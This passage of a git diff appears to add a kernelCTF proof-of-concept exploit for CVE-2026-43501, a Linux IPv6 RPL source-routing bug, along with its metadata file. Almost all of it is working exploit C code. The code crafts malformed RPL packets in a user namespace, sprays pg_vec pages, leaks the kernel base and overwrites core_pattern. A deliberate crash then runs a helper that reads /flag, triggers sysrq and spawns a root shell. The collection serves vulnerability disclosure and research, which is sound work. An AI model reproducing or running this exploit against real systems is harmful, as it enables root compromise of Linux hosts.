NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len); + struct rtattr *rta; + + if (newlen > maxlen) + die_msg("netlink attribute overflow"); + + rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); + rta->rta_type = type; + rta->rta_len = (unsigned short)len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + nlh->nlmsg_len = (unsigned int)newlen; +} + +static void setup_loopback_hwaddr_from_pattern(void) +{ + enum { LO_ADDR_LEN = 6 }; + enum { ACK_BUF_LEN = 4096 }; + uint8_t lo_addr[LO_ADDR_LEN]; + uint8_t ackbuf[ACK_BUF_LEN]; + struct sockaddr_nl nladdr; + struct nlmsghdr *h; + struct nlmsgerr *err; + int fd; + ssize_t nread; + size_t rem; + struct { + struct nlmsghdr nlh; + struct ifinfomsg ifi; + uint8_t attrbuf[64]; + } req; + + for (size_t i = 0; i < LO_ADDR_LEN; i++) { + lo_addr[i] = + loopback_addr_pattern[i % sizeof(loopback_addr_pattern)]; + } + + /* + * Netdevices reject multicast source MACs; keep the selected target + * bytes but force a unicast, locally administered first octet. + */ + lo_addr[0] = (uint8_t)((lo_addr[0] & 0xfeu) | 0x02u); + + fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE); + if (fd < 0) + die("socket(AF_NETLINK, NETLINK_ROUTE)"); + + memset(&req, 0, sizeof(req)); + req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifi)); + req.nlh.nlmsg_type = RTM_NEWLINK; + req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req.nlh.nlmsg_seq = 1; + req.ifi.ifi_family = AF_UNSPEC; + req.ifi.ifi_index = (int)if_nametoindex("lo"); + if (req.ifi.ifi_index <= 0) { + close(fd); + die_msg("if_nametoindex(lo) failed"); + } + + netlink_addattr_l(&req.nlh, sizeof(req), IFLA_ADDRESS, lo_addr, + LO_ADDR_LEN); + + memset(&nladdr, 0, sizeof(nladdr)); + nladdr.nl_family = AF_NETLINK; + if (sendto(fd, &req, req.nlh.nlmsg_len, 0, + (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) { + close(fd); + die("sendto(RTM_NEWLINK)"); + } + + nread = recv(fd, ackbuf, sizeof(ackbuf), 0); + if (nread < 0) { + close(fd); + die("recv(rtnetlink ack)"); + } + + rem = (size_t)nread; + for (h = (struct nlmsghdr *)ackbuf; NLMSG_OK(h, rem); + h = NLMSG_NEXT(h, rem)) { + if (h->nlmsg_type != NLMSG_ERROR) + continue; + + err = (struct nlmsgerr *)NLMSG_DATA(h); + if (!err) { + close(fd); + die_msg("malformed rtnetlink ack"); + } + if (err->error == 0) + goto out; + + errno = -err->error; + close(fd); + die("RTM_NEWLINK IFLA_ADDRESS"); + } + + close(fd); + die_msg("missing rtnetlink ack"); + +out: + if (close(fd) < 0) + die("close"); +} + +static void setup_usernet_sandbox(void) +{ + uid_t uid = getuid(); + gid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER) < 0) + die("unshare(CLONE_NEWUSER)"); + + /* Required on modern kernels before writing gid_map as an unprivileged user. */ + write_filef("/proc/self/setgroups", "deny\n"); + write_filef("/proc/self/uid_map", "0 %u 1\n", uid); + write_filef("/proc/self/gid_map", "0 %u 1\n", gid); + + if (setresgid(0, 0, 0) < 0) + die("setresgid"); + if (setresuid(0, 0, 0) < 0) + die("setresuid"); + + if (unshare(CLONE_NEWNET) < 0) + die("unshare(CLONE_NEWNET)"); + + setup_loopback_hwaddr_from_pattern(); + setup_loopback_up(); + + /* Enable RPL receive handling in this new netns. */ + write_filef("/proc/sys/net/ipv6/conf/all/rpl_seg_enabled", "1\n"); + write_filef("/proc/sys/net/ipv6/conf/lo/rpl_seg_enabled", "1\n"); +} + +static size_t vuln_old_rpl_srh_len(void) +{ + return RPL_BASE_HDR_LEN + + RPL_SEGMENT_COUNT * (IPV6_ADDR_LEN - RPL_CMPRI) + + (IPV6_ADDR_LEN - RPL_CMPRE) + RPL_PAD_LEN; +} + +static void vuln_build_rpl_packet(uint8_t *packet, size_t packet_len) +{ + const size_t old_rh_len = vuln_old_rpl_srh_len(); + struct ip6_hdr *ip6; + struct ipv6_rpl_sr_hdr_wire *rh; + + if (packet_len != sizeof(*ip6) + old_rh_len) { + fprintf(stderr, "unexpected packet_len=%zu\n", packet_len); + exit(1); + } + + memset(packet, 0, packet_len); + + ip6 = (struct ip6_hdr *)packet; + ip6->ip6_flow = htonl(6u << 28); + ip6->ip6_plen = htons((uint16_t)old_rh_len); + ip6->ip6_nxt = IPPROTO_ROUTING; + ip6->ip6_hlim = 64; + if (inet_pton(AF_INET6, "::1", &ip6->ip6_src) != 1) + die("inet_pton src"); + if (inet_pton(AF_INET6, "::1", &ip6->ip6_dst) != 1) + die("inet_pton dst"); + + rh = (struct ipv6_rpl_sr_hdr_wire *)(packet + sizeof(*ip6)); + rh->nexthdr = IPPROTO_NONE; + rh->hdrlen = (uint8_t)((old_rh_len >> 3) - 1); + rh->type = IPV6_SRCRT_TYPE_3; + rh->segments_left = RPL_SEGMENTS_LEFT; + rh->cmpri_cmpre = (RPL_CMPRI << 4) | RPL_CMPRE; + rh->pad_res = RPL_PAD_LEN << 4; + rh->reserved1 = 0; + + for (int seg_idx = 0; seg_idx < RPL_SEGMENT_COUNT; seg_idx++) { + uint8_t *seg = + &rh->data[seg_idx * (IPV6_ADDR_LEN - RPL_CMPRI)]; + + seg[0] = (uint8_t)(0x10 + seg_idx); + for (int byte_idx = 1; byte_idx < IPV6_ADDR_LEN - RPL_CMPRI; + byte_idx++) { + seg[byte_idx] = + (uint8_t)(seg_idx * 0x11 + byte_idx); + } + } + + /* Force CmprE to drop after the segment swap/recompression. */ + rh->data[RPL_TRIGGER_SEGMENT_INDEX * (IPV6_ADDR_LEN - RPL_CMPRI)] = + 0x44; + rh->data[RPL_SEGMENT_COUNT * (IPV6_ADDR_LEN - RPL_CMPRI)] = 0x77; +} + +static int vuln_open_raw_ipv6_socket(void) +{ + int one = 1; + int fd = SYSCHK(socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)); + + SYSCHK(setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &one, sizeof(one))); + return fd; +} + +static void vuln_init_loopback_sockaddr(struct sockaddr_in6 *sin6) +{ + memset(sin6, 0, sizeof(*sin6)); + sin6->sin6_family = AF_INET6; + if (inet_pton(AF_INET6, "::1", &sin6->sin6_addr) != 1) + die("inet_pton sendto"); +} + +static int vuln_trigger_minimal(void) +{ + const size_t packet_len = sizeof(struct ip6_hdr) + vuln_old_rpl_srh_len(); + struct sockaddr_in6 sin6; + uint8_t *packet; + int fd; + + pin_to_cpu(0); + setup_usernet_sandbox(); + + packet = (uint8_t *)calloc(1, packet_len); + if (!packet) + die("calloc"); + vuln_build_rpl_packet(packet, packet_len); + + fd = vuln_open_raw_ipv6_socket(); + vuln_init_loopback_sockaddr(&sin6); + + for (int i = 0; i < RPL_MINIMAL_SEND_COUNT; i++) { + SYSCHK(sendto(fd, packet, packet_len, 0, + (struct sockaddr *)&sin6, sizeof(sin6))); + } + + close(fd); + free(packet); + fprintf(stderr, "sent %zu bytes x %d\n", packet_len, + RPL_MINIMAL_SEND_COUNT); + return 0; +} + +static void vuln_build_pgvec_overwrite_packet(uint8_t *packet, size_t packet_len) +{ + const size_t old_rh_len = vuln_old_rpl_srh_len(); + struct ip6_hdr *ip6; + + if (packet_len != sizeof(*ip6) + old_rh_len + EXPLOIT_PAYLOAD_LEN) + die_msg("unexpected pgvec-overwrite packet length"); + + vuln_build_rpl_packet(packet, sizeof(*ip6) + old_rh_len); + + ip6 = (struct ip6_hdr *)packet; + ip6->ip6_plen = htons((uint16_t)(old_rh_len + EXPLOIT_PAYLOAD_LEN)); + for (int i = 0; i < EXPLOIT_PAYLOAD_LEN; i++) { + packet[sizeof(*ip6) + old_rh_len + i] = + (uint8_t)(0xa0 + (i & 0x3f)); + } + +} + +static int vuln_trigger_pgvec_overwrite_attempt(void) +{ + const size_t old_rh_len = vuln_old_rpl_srh_len(); + const size_t packet_len = sizeof(struct ip6_hdr) + old_rh_len + + EXPLOIT_PAYLOAD_LEN; + struct sockaddr_in6 sin6; + uint8_t *packet; + int fd; + int child_pid; + + pin_to_cpu(0); + setup_usernet_sandbox(); + + packet = (uint8_t *)calloc(1, packet_len); + if (!packet) + die("calloc"); + vuln_build_pgvec_overwrite_packet(packet, packet_len); + + fd = vuln_open_raw_ipv6_socket(); + vuln_init_loopback_sockaddr(&sin6); + + SYSCHK(pipe(spray_cmd_pipe)); + SYSCHK(pipe(spray_status_pipe)); + child_pid = SYSCHK(fork()); + if (child_pid == 0) + spray_pg_vec_child(); + + sync_signal_child(); + sync_wait_child(); + + puts("Press Enter to send packets"); + sync_signal_child(); + sync_wait_child(); + + for (int i = 0; i < EXPLOIT_PACKET_SEND_COUNT; i++) { + SYSCHK(sendto(fd, packet, packet_len, 0, + (struct sockaddr *)&sin6, sizeof(sin6))); + } + + sleep(1); + + sync_signal_child(); + sync_wait_child(); + puts("Done."); + + close(fd); + free(packet); + return 0; +} + +static int core_pattern_is_payload(int verbose) +{ + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + ssize_t nread; + + if (core < 0) + return 0; + + nread = read(core, buf, sizeof(buf) - 1); + close(core); + if (nread < 0) + return 0; + if (verbose) + puts(buf); + + return strncmp(buf, CORE_PATTERN_PAYLOAD, + strlen(CORE_PATTERN_PAYLOAD)) == 0; +} + +static void setup_text_target_mac_bytes(unsigned long long base) +{ + unsigned long long target = base + xdk_off_patch_page; + + /* + * The MAC rebuild overwrites bytes 2..7 of pg_vec[510].buffer. Bytes + * 0..1 are preserved, so only target bits 16..31 are selected here. + */ + loopback_addr_pattern[0] = (uint8_t)((target >> 16) & 0xff); + loopback_addr_pattern[1] = (uint8_t)((target >> 24) & 0xff); + printf("target: %llx\n", target); +} + +static int core_pattern_helper_main(const char *pid_arg) +{ + int pid = (int)strtoull(pid_arg, NULL, 10); + int pidfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pidfd, STDIN_FILENO, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pidfd, STDOUT_FILENO, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pidfd, STDERR_FILENO, 0); + int status; + + dup2(stdinfd, STDIN_FILENO); + dup2(stdoutfd, STDOUT_FILENO); + dup2(stderrfd, STDERR_FILENO); + + status = system("cat /flag;cat /flag"); + (void)status; + status = system("whoami;id"); + (void)status; + status = system("cat /flag;echo o>/proc/sysrq-trigger"); + (void)status; + execlp("sh", "sh", NULL); + return 0; +} + +static void core_pattern_waiter_child(void) +{ + int memfd; + int self_exe_fd; + + pin_to_cpu(1); + while (!core_pattern_is_payload(0)) + usleep(CORE_PATTERN_POLL_DELAY_US); + + puts("[+] Ok lets finish it"); + core_pattern_is_payload(1); + sleep(1); + setsid(); + + memfd = SYSCHK(memfd_create("", MFD_EXEC)); + self_exe_fd = SYSCHK(open("/proc/self/exe", O_RDONLY)); + SYSCHK(sendfile(memfd, self_exe_fd, 0, SELF_COPY_MAX)); + close(self_exe_fd); + + dup2(memfd, 666); + close(memfd); + puts("Root shell !!"); + + /* Crash intentionally so core_pattern executes the fd 666 helper. */ + *(volatile size_t *)NULL = 0; +} + +static void stop_waiter(pid_t pid) +{ + if (pid <= 0) + return; + + kill(pid, SIGTERM); + waitpid(pid, NULL, 0); +} + +static void wait_for_helper_finish(void) +{ + puts("[+] core_pattern is patched; waiting for helper/sysrq finish."); + for (;;) + pause(); +} + +static int wait_for_attempt(pid_t pid, int *status) +{ + for (int i = 0; i < ATTEMPT_TIMEOUT_SEC * 10; i++) { + pid_t waited = waitpid(pid, status, WNOHANG); + + if (waited == pid) + return 0; + if (waited < 0 && errno != EINTR) + die("waitpid"); + if (core_pattern_is_payload(0)) + return 1; + usleep(100000); + } + + printf("Attempt timed out after %d seconds, retrying...\n", + ATTEMPT_TIMEOUT_SEC); + kill(-pid, SIGKILL); + kill(pid, SIGKILL); + waitpid(pid, status, 0); + return -1; +} + +int main(int argc, char **argv) +{ + unsigned long long base; + pid_t waiter; + int status = 0; + + if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) + return vuln_trigger_minimal(); + if (argc > 1) + return core_pattern_helper_main(argv[1]); + + pin_to_cpu(1); + base = leak_kaslr_base_xdk(); + rip_build_core_pattern_patches(); + printf("kernel base: %llx\n", base); + setup_text_target_mac_bytes(base); + printf("Core pattern at: %p\n", + (void *)(base + xdk_off_core_pattern)); + + waiter = SYSCHK(fork()); + if (waiter == 0) + core_pattern_waiter_child(); + + for (int retry_count = 1; retry_count <= MAX_RETRY_COUNT; + retry_count++) { + pid_t pid; + int wait_result; + + printf("[.] Try %d/%d.\n", retry_count, MAX_RETRY_COUNT); + if (core_pattern_is_payload(0)) + wait_for_helper_finish(); + + pid = SYSCHK(fork()); + if (pid == 0) { + (void)setpgid(0, 0); + vuln_trigger_pgvec_overwrite_attempt(); + _exit(0); + } + + wait_result = wait_for_attempt(pid, &status); + if (wait_result > 0) + wait_for_helper_finish(); + if (WIFSIGNALED(status)) { + printf("Attempt %d exited by signal %d, retrying...\n", + retry_count, WTERMSIG(status)); + } + if (core_pattern_is_payload(0)) + wait_for_helper_finish(); + } + + stop_waiter(waiter); + printf("[-] Reached retry limit of %d attempts.\n", MAX_RETRY_COUNT); + return 1; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43501_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-43501_cos/metadata.json new file mode 100644 index 000000000..d0e8f95ee --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43501_cos/metadata.json @@ -0,0 +1,24 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp453"], + "vulnerability": { + "cve": "CVE-2026-43501", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9e6bf146b55999a095bb14f73a843942456d1adc", + "affected_versions": ["5.7-rc1 - 7.1-rc1"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_NET_ADMIN"], + "kernel_config": [ + "CONFIG_IPV6" + ] + } + }, + "exploits":{ + "cos-121-18867.294.112": { + "environment": "cos-121-18867.294.112", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "around 50%" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-43501_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-43501_cos/original.tar.gz new file mode 100644 index 000000000..ed1de9d91 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43501_cos/original.tar.gz differ